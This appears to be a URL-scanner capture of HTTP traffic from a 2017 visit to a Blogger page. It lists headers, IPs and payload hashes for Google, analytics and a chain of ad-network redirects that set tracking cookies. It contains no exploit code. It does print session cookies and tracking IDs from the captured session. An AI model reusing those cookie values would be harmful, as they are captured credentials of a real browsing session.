Host: clients1.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request
Cookie: NID=114=GNnmfgJpjH-NtdmGOQIAi5WQyfplk2Ml36ME4mXaFSuuhISOKgufe-XNawFP3PxKsNWoakbO7j0IvpX8AU99-8xUtNQ8YvhIiRCOLSx_Z9sHrPxK1AxfWoZ90Yu8pOaj

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 13 Oct 2017 14:13:53 GMT
Expires: Tue, 17 Oct 2017 14:13:53 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    f99c8fd2106061228e04e44345827db9
Sha1:   3d8a35a963b5d0481e02b6dad5feb9be33471993
Sha256: 57b59a56c619c145d4800ded6e727e32aa7a48e271c8708424527a7576c14f04
                                        
                                            GET /static/v1/jsbin/218641124-cmt__ar.js HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/comment-iframe.g?blogID=6930885793886820903&postID=8384554864994590423&blogspotRpcToken=5419195&bpli=1
Cookie: S=blogger=NFMEZq1HZXo6hotSlMPddyq8RhbvaDT7

                                         
                                         216.58.211.137
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 31230
Date: Thu, 12 Oct 2017 23:09:16 GMT
Expires: Fri, 12 Oct 2018 23:09:16 GMT
Last-Modified: Thu, 12 Oct 2017 21:24:53 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 54277
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   31230
Md5:    7924e796ffb01e344912a3cdf2086d22
Sha1:   2b46f3dc76de961929572b02c0831f7720a3baff
Sha256: fb0a5c99fb428b5f32eb07d24b4d3d771e84404f3c0c9583bc9a69700c4e472d
                                        
                                            GET /apu.php?zoneid=708000 HTTP/1.1 
Host: go.pub2srv.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         188.72.202.221
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:53 GMT
Content-Length: 154
Connection: keep-alive
Location: http://deloton.com/apu.php?zoneid=708000
Timing-Allow-Origin: *


--- Additional Info ---
Magic:  HTML document text
Size:   154
Md5:    cfbeaf604823f038b8b46f0ac862b98c
Sha1:   7b9eb1dac48e74fa5f418bc456cb410f88b81d98
Sha256: 20c1ab602462b7fc0d5b4cbd555cacf127b69a07a737579598ebcbc0f5b21319
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 13 Oct 2017 14:13:53 GMT
Expires: Tue, 17 Oct 2017 14:13:53 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    c047d5ab2d5867f659e029ee0fbdfcb8
Sha1:   a0dfb1489dcca41f9526d9b78c129ce3a5d3c44c
Sha256: 779e29848b467402cb2d0212a407c472cba50ff750fd16bc931d0f00afd74c42
                                        
                                            GET /js/bg/CI_hqThbQjBwoUSK10cIsovHByRI4InaU0wolTzGCLU.js HTTP/1.1 
Host: www.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/comment-iframe.g?blogID=6930885793886820903&postID=8384554864994590423&blogspotRpcToken=5419195&bpli=1
Cookie: NID=114=GNnmfgJpjH-NtdmGOQIAi5WQyfplk2Ml36ME4mXaFSuuhISOKgufe-XNawFP3PxKsNWoakbO7j0IvpX8AU99-8xUtNQ8YvhIiRCOLSx_Z9sHrPxK1AxfWoZ90Yu8pOaj

                                         
                                         172.217.22.164
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 4704
Date: Thu, 12 Oct 2017 18:15:26 GMT
Expires: Fri, 12 Oct 2018 18:15:26 GMT
Last-Modified: Mon, 09 Oct 2017 08:30:00 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 71907
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   4704
Md5:    bc521259e306c64da951051e6fc8156c
Sha1:   acda8864f8692b9869066c9b1fc2c7b1fd032153
Sha256: 88f0bf3f9944812e62992fa118b7bd3874a1a897d18cd601811847e7500fda42
                                        
                                            GET /analytics.js HTTP/1.1 
Host: www.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Strict-Transport-Security: max-age=10886400; includeSubDomains; preload
Timing-Allow-Origin: *
Date: Fri, 13 Oct 2017 13:50:39 GMT
Expires: Fri, 13 Oct 2017 15:50:39 GMT
Last-Modified: Thu, 28 Sep 2017 22:31:34 GMT
X-Content-Type-Options: nosniff
Vary: Accept-Encoding
Content-Encoding: gzip
Server: Golfe2
Content-Length: 14089
Cache-Control: public, max-age=7200
Age: 1394
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   14089
Md5:    7b1f226d2f5f01597e62889513d4bc8c
Sha1:   ff78ed289a65fa3c91b0ff470fb0c6536bcab745
Sha256: 80eeeea7639a7b6a6205b8862b9060a7c60da47855e8dd9c74e64b0a0fce8b9a
                                        
                                            GET /apu.php?zoneid=708000 HTTP/1.1 
Host: deloton.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         194.187.98.221
HTTP/1.1 200 OK
Content-Type: application/x-javascript
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:53 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Timing-Allow-Origin: *, *
Pragma: no-cache
Cache-Control: private, max-age=0, no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: CP="CUR ADM OUR NOR STA NID"
Set-Cookie: SeenToday=1; expires=Sat, 14-Oct-2017 14:13:53 GMT; Max-Age=86400; path=/ OAGEO5580f=12%7CNO%7C03%7COSLO%7CXDSL%7CBROADNET+AS%7C%7C11348%7C11093%7C%3F%7C578270; expires=Sat, 14-Oct-2017 14:13:53 GMT; Max-Age=86400; path=/ oaidts=1507904033; expires=Sat, 13-Oct-2018 14:13:53 GMT; Max-Age=31536000; path=/ OAID=4dabb75f24f27f7b0150d44c1cb4badf; expires=Sat, 13-Oct-2018 14:13:53 GMT; Max-Age=31536000; path=/ exsdsf=1507904033 pbk3=71c47e093bc4052ea20fbfc037bef5426476398508411584033; expires=Fri, 13-Oct-2017 14:23:53 GMT; Max-Age=600 fac_ltm=1; expires=Sat, 14-Oct-2017 14:13:53 GMT; Max-Age=86400; path=/
X-Used-AdExchange: 1
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   17080
Md5:    2a30e275cdbe59028088c0d767ef4753
Sha1:   fb6e237b485aad723e36cf6ce5ffe677b15cd66b
Sha256: 5e7c4d5e8cbd2d659fbed08820f72e119655cdd14e91f7a29d1616c68e7be2c6
                                        
                                            GET /script/wait.php?stamat=m%7C%2C%2CQ2ZjI2dntGU3Bk9GH0dEdHP3xP.e2a%2CEclPqyN-3KLZDoa5yol78o6byw5npfCVCB6f_m2hlN4gsq6hhaJHwaXVc4hD57AKiVH5zHLw91ysb1bSDgu7LHqq8wsY9S1mfc0cecDYftkuFRWkAuqiGevitqm0oa_lLnWgjzjiENg4cAGQWBugXqvNS8PnAdXKXVojZuXneoFGrSsmUpXcmdeFcXUB3vRluwQLJEIA726ty9v2METpHrbsWnQCQ-lqsKLL0nlI-W1S9AY64lCg78AFkf_8h-Hp2nIXRjx78F--S6qOn765B9t5siNU-FBnPGNyH56gXGc%2C&srbrb=1&callback=jsonp909085 HTTP/1.1 
Host: b.codeonclick.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         104.155.155.178
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
                                        
Server: openresty
Date: Fri, 13 Oct 2017 14:13:53 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   36
Md5:    2abea7c949f08cdd1e1c90f29db1fcca
Sha1:   7b3d020161aaa2bd3d6cea85438cf925010586e4
Sha256: 74835114ae573d2dece06e96eb2bbb23356ca859443ca0b6a336141ac360ab0b
                                        
                                            GET /followers.g?blogID=6930885793886820903&colors=Cgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByM2NjY2NjYiByM1NTg4YWEqByNmZmZmZmYyByNjYzY2MDA6ByM2NjY2NjZCByM1NTg4YWFKByM5OTk5OTlSByM1NTg4YWFaC3RyYW5zcGFyZW50&pageSize=21&postID=8384554864994590423&origin=http://boswekol.blogspot.no/&usegapi=1&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.no.m2rCJFJyJGQ.O%2Fm%3D__features__%2Fam%3DAQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         216.58.211.137
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
                                        
P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Location: https://accounts.google.com/ServiceLogin?continue=https://www.blogger.com/followers.g?blogID%3D6930885793886820903%26colors%3DCgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByM2NjY2NjYiByM1NTg4YWEqByNmZmZmZmYyByNjYzY2MDA6ByM2NjY2NjZCByM1NTg4YWFKByM5OTk5OTlSByM1NTg4YWFaC3RyYW5zcGFyZW50%26pageSize%3D21%26postID%3D8384554864994590423%26origin%3Dhttp://boswekol.blogspot.no/%26usegapi%3D1%26jsh%3Dm;/_/scs/apps-static/_/js/k%253Doz.gapi.no.m2rCJFJyJGQ.O/m%253D__features__/am%253DAQ/rt%253Dj/d%253D1/rs%253DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg%26bpli%3D1&followup=https://www.blogger.com/followers.g?blogID%3D6930885793886820903%26colors%3DCgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByM2NjY2NjYiByM1NTg4YWEqByNmZmZmZmYyByNjYzY2MDA6ByM2NjY2NjZCByM1NTg4YWFKByM5OTk5OTlSByM1NTg4YWFaC3RyYW5zcGFyZW50%26pageSize%3D21%26postID%3D8384554864994590423%26origin%3Dhttp://boswekol.blogspot.no/%26usegapi%3D1%26jsh%3Dm;/_/scs/apps-static/_/js/k%253Doz.gapi.no.m2rCJFJyJGQ.O/m%253D__features__/am%253DAQ/rt%253Dj/d%253D1/rs%253DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg%26bpli%3D1&passive=true&go=true
Content-Encoding: gzip
Date: Fri, 13 Oct 2017 14:13:54 GMT
Expires: Fri, 13 Oct 2017 14:13:54 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   555
Md5:    2fc6fb5d12e17a979786445565271c87
Sha1:   57f91bdb8a067a726d6ffdef2ed70ff8e05bffc1
Sha256: c6f4519c6e2d50d37c2516c37bcfeaf736b109da45a7ab2e82da33aedf03124d
                                        
                                            GET /comment-iframe-bg.g?bgresponse=js_disabled&bgint=CI_hqThbQjBwoUSK10cIsovHByRI4InaU0wolTzGCLU HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/comment-iframe.g?blogID=6930885793886820903&postID=8384554864994590423&blogspotRpcToken=5419195&bpli=1
Cookie: S=blogger=NFMEZq1HZXo6hotSlMPddyq8RhbvaDT7

                                         
                                         216.58.211.137
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Fri, 13 Oct 2017 14:13:54 GMT
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   4513
Md5:    1288c2990f3a48466f0152b554a57f96
Sha1:   bd5a7dc4888cef6e0f5d0a40b4b20806ac1a946d
Sha256: c10ab9113a1a21adb9a5cfd463df72dc31bd89b99a48d25a3e1d80d14a75d226
                                        
                                            GET /r/collect?v=1&_v=j64&a=875933836&t=pageview&_s=1&dl=http%3A%2F%2Fboswekol.blogspot.no%2F2014%2F05%2Fblog-post_23.html&ul=en-us&de=UTF-8&dt=%D8%A8%D8%B3%D9%83%D9%88%D9%8A%D8%AA%20%D8%A7%D9%84%D8%B9%D9%8A%D8%AF%20%D8%A8%D8%A7%D9%84%D9%85%D8%A7%D9%83%D9%8A%D9%86%D9%87%20~%20%D8%A8%D8%B5%20%D9%88%D9%83%D9%84&sd=24-bit&sr=1176x885&vp=1159x754&je=1&fl=10.0%20r45&_u=IEBAAMQAI~&jid=290062525&gjid=1103816213&cid=451017504.1507904035&tid=UA-81239183-1&_gid=987255560.1507904035&_r=1&z=417137575 HTTP/1.1 
Host: www.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Access-Control-Allow-Origin: *
Date: Fri, 13 Oct 2017 14:13:54 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
X-Content-Type-Options: nosniff
Server: Golfe2
Content-Length: 35
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   35
Md5:    28d6814f309ea289f847c69cf91194c6
Sha1:   0f4e929dd5bb2564f7ab9c76338e04e292a42ace
Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
                                        
                                            GET /pp?geo=NO&zoneid=708000&oaid=4dabb75f24f27f7b0150d44c1cb4badf&ftz=0&aid=0&nls=0&ltm=1&frl=0&rtg=1 HTTP/1.1 
Host: mt.rtmark.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         185.49.145.177
HTTP/1.1 200 OK
Content-Type: text/html
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:55 GMT
Content-Length: 472
Connection: keep-alive


--- Additional Info ---
Magic:  HTML document text\012 exported SGML document text
Size:   472
Md5:    d90adfad7aaab531f963a58a6c7668ee
Sha1:   5ec1b973a388617a2701163658f7684a65d52b55
Sha256: 6ab11f9e5355702a9aedee7f857f7831bb514a935e813d0b526ee84ca3f9f079
                                        
                                            GET /ServiceLogin?continue=https://www.blogger.com/followers.g?blogID%3D6930885793886820903%26colors%3DCgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByM2NjY2NjYiByM1NTg4YWEqByNmZmZmZmYyByNjYzY2MDA6ByM2NjY2NjZCByM1NTg4YWFKByM5OTk5OTlSByM1NTg4YWFaC3RyYW5zcGFyZW50%26pageSize%3D21%26postID%3D8384554864994590423%26origin%3Dhttp://boswekol.blogspot.no/%26usegapi%3D1%26jsh%3Dm;/_/scs/apps-static/_/js/k%253Doz.gapi.no.m2rCJFJyJGQ.O/m%253D__features__/am%253DAQ/rt%253Dj/d%253D1/rs%253DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg%26bpli%3D1&followup=https://www.blogger.com/followers.g?blogID%3D6930885793886820903%26colors%3DCgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByM2NjY2NjYiByM1NTg4YWEqByNmZmZmZmYyByNjYzY2MDA6ByM2NjY2NjZCByM1NTg4YWFKByM5OTk5OTlSByM1NTg4YWFaC3RyYW5zcGFyZW50%26pageSize%3D21%26postID%3D8384554864994590423%26origin%3Dhttp://boswekol.blogspot.no/%26usegapi%3D1%26jsh%3Dm;/_/scs/apps-static/_/js/k%253Doz.gapi.no.m2rCJFJyJGQ.O/m%253D__features__/am%253DAQ/rt%253Dj/d%253D1/rs%253DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg%26bpli%3D1&passive=true&go=true HTTP/1.1 
Host: accounts.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html
Cookie: NID=114=GNnmfgJpjH-NtdmGOQIAi5WQyfplk2Ml36ME4mXaFSuuhISOKgufe-XNawFP3PxKsNWoakbO7j0IvpX8AU99-8xUtNQ8YvhIiRCOLSx_Z9sHrPxK1AxfWoZ90Yu8pOaj; GAPS=1:clCynw13sQJD5hrdlEy8FbFiFgzrig:EmGv7MNI2zQx2rcv

                                         
                                         172.217.22.173
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
                                        
X-Frame-Options: DENY
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Fri, 13 Oct 2017 14:13:55 GMT
Location: https://www.blogger.com/followers.g?blogID=6930885793886820903&colors=Cgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByM2NjY2NjYiByM1NTg4YWEqByNmZmZmZmYyByNjYzY2MDA6ByM2NjY2NjZCByM1NTg4YWFKByM5OTk5OTlSByM1NTg4YWFaC3RyYW5zcGFyZW50&pageSize=21&postID=8384554864994590423&origin=http%3A%2F%2Fboswekol.blogspot.no%2F&usegapi=1&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.no.m2rCJFJyJGQ.O%2Fm%3D__features__%2Fam%3DAQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg&bpli=1
Strict-Transport-Security: max-age=31536000; includeSubDomains
content-security-policy: script-src 'unsafe-inline' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreport
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Set-Cookie: GAPS=1:rA43bR8tjZNl0N2PDY-dzX6Z5BaHDg:qUZc_LXY_xO6xHJi;Path=/;Expires=Sun, 13-Oct-2019 14:13:55 GMT;Secure;HttpOnly;Priority=HIGH
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   498
Md5:    a30a6d5f142d382a403a66f09853c6f0
Sha1:   ae4e7dc4c06d57de1c01efada9ea98487161dfd2
Sha256: ecd356ebecd7840f6a17f9359f6c7bf74e5fbd78a2487db0ffba200822ee5fc0
                                        
                                            GET /ga.js HTTP/1.1 
Host: www.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Strict-Transport-Security: max-age=10886400; includeSubDomains; preload
Timing-Allow-Origin: *
Date: Fri, 13 Oct 2017 13:50:45 GMT
Expires: Fri, 13 Oct 2017 15:50:45 GMT
Last-Modified: Thu, 28 Sep 2017 22:31:34 GMT
X-Content-Type-Options: nosniff
Vary: Accept-Encoding
Content-Encoding: gzip
Server: Golfe2
Content-Length: 16615
Cache-Control: public, max-age=7200
Age: 1390


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   16615
Md5:    35b5f4ce166821a2bf0477079a931144
Sha1:   8dc20b8b0bdb98de491a74246ead5ba3306015ee
Sha256: 4023bd853d5d297718309eafc53af1c88852bfadd2af68676914d3a1f270aa9d
                                        
                                            GET /img.gif?f=merge&userId=4dabb75f24f27f7b0150d44c1cb4badf HTTP/1.1 
Host: my.rtmark.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://mt.rtmark.net/pp?geo=NO&zoneid=708000&oaid=4dabb75f24f27f7b0150d44c1cb4badf&ftz=0&aid=0&nls=0&ltm=1&frl=0&rtg=1

                                         
                                         35.156.203.166
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Date: Fri, 13 Oct 2017 14:13:56 GMT
Server: nginx/1.10.1
Set-Cookie: ID=4dabb75f24f27f7b0150d44c1cb4badf; expires=Sat, 13 Oct 2018 14:13:56 GMT
Content-Length: 43
Connection: keep-alive


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   43
Md5:    b4491705564909da7f9eaf749dbbfbb1
Sha1:   279315d507855c6a4351e1e2c2f39dd9cd2fccd8
Sha256: 4e0705327480ad2323cb03d9c450ffcae4a98bf3a5382fa0c7882145ed620e49
                                        
                                            GET /r/__utm.gif?utmwv=5.7.0&utms=1&utmn=181276521&utmhn=boswekol.blogspot.no&utmcs=UTF-8&utmsr=1176x885&utmvp=1159x754&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=10.0%20r45&utmdt=%D8%A8%D8%B3%D9%83%D9%88%D9%8A%D8%AA%20%D8%A7%D9%84%D8%B9%D9%8A%D8%AF%20%D8%A8%D8%A7%D9%84%D9%85%D8%A7%D9%83%D9%8A%D9%86%D9%87%20~%20%D8%A8%D8%B5%20%D9%88%D9%83%D9%84&utmhid=875933836&utmr=-&utmp=%2F2014%2F05%2Fblog-post_23.html&utmht=1507904036188&utmac=UA-4852146-32&utmcc=__utma%3D66733245.451017504.1507904035.1507904036.1507904036.1%3B%2B__utmz%3D66733245.1507904036.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B&utmjid=1308613562&utmredir=1&utmu=qAAAAAAAAAAAAAAAAAABAAAE~ HTTP/1.1 
Host: www.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Access-Control-Allow-Origin: *
Date: Fri, 13 Oct 2017 14:13:56 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
X-Content-Type-Options: nosniff
Server: Golfe2
Content-Length: 35


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   35
Md5:    28d6814f309ea289f847c69cf91194c6
Sha1:   0f4e929dd5bb2564f7ab9c76338e04e292a42ace
Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
                                        
